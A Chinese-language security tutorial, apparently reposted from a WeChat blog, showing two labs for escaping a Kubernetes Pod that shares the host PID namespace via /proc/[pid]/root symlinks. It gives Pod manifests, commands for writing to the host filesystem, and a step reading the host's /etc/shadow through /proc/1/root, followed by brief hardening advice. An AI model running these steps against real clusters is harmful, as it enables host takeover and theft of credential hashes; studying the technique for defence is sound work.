前言
当一个容器共享宿主机 PID namespace、且以 uid 为 0 运行(没有启用 user namespace、没有添加任何额外的 capabilities)时,可以利用某些进程的 /proc/[pid]/root 符号链接实现容器逃逸。
实验1-集群容器逃逸 获取宿主机普通权限
创建一个共享宿主机 PID namespace 的 Pod
apiVersion: v1
kind: Pod
metadata:
name: demo
labels:
app: demo
spec:
hostPID: true
containers:
- name: demo
image: docker.io/library/alpine:latest
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
dnsPolicy: ClusterFirst
restartPolicy: Always
在宿主机(node demo-worker)上另起一个窗口
在该窗口中以普通用户运行命令 sleep 36000
,后面在 Pod 中可通过此进程访问到宿主机文件系统,
在宿主机中执行
useradd -m -s /bin/bash test 新建一个普通用户 test
su - test 切换到普通用户
sleep 36000
进入 Pod 进行操作
kubectl exec -it demo -- sh
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories
apk add -U shadow
由于共享了宿主机的 PID,故可以看到之前在宿主机上以普通用户 test 运行的 sleep 36000
进程,需要记录一下 PID 19998,ps -ef | grep sleep
在 Pod 中创建一个普通用户( UID 和 GID 与上面宿主机中的普通用户 test 一样),并切换到 exp 用户中,
useradd -m -u 1000 -U exp
su - exp
当前在 exp 用户的 shell 中,可通过此进程(sleep)访问到宿主机文件系统,
ls -l /proc/19998/root/
19998 也就是上面宿主机中普通用户运行的一个 sleep 进程的 UID
在 Pod 中使用普通用户权限向宿主机中普通用户运行的 sleep 进程的 rootfs 写入数据,
echo "逃逸出来泥" > /proc/19998/root/tmp/test
在宿主机上查看一下相关路径
实验2-集群容器逃逸 获取宿主机 root 权限
前提
处于或者能创建一个共享宿主机 PID 且添加了 CAP_SYS_PTRACE 能力的 Pod,在该 Pod 中通过 /proc/1/root 即可访问到宿主机文件系统完成逃逸。
创建符合条件的 Pod
apiVersion: v1
kind: Pod
metadata:
name: demo
labels:
app: demo
spec:
hostPID: true
containers:
name: demo
image: docker.io/library/alpine:latest
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
securityContext:
capabilities:
add:
SYS_PTRACE
dnsPolicy: ClusterFirst
restartPolicy: Always
进入 Pod 进行操作
kubectl exec -it demo -- sh
ls -l /proc/1/root/
查看宿主机(node demo-worker)的敏感文件
cat /proc/1/root/etc/hostname
cat /proc/1/root/etc/shadow
防御
在 Kubernetes 集群中应当:
-
容器应以非 root 用户运行
-
禁止随意共享宿主机 PID 命名空间
-
禁止随意授予容器 CAP_SYS_PTRACE 权限
参考文章
https://www.anquanke.com/post/id/290540
原文始发于微信公众号(安全小将李坦然):利用共享 PID 中符号链接逃逸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论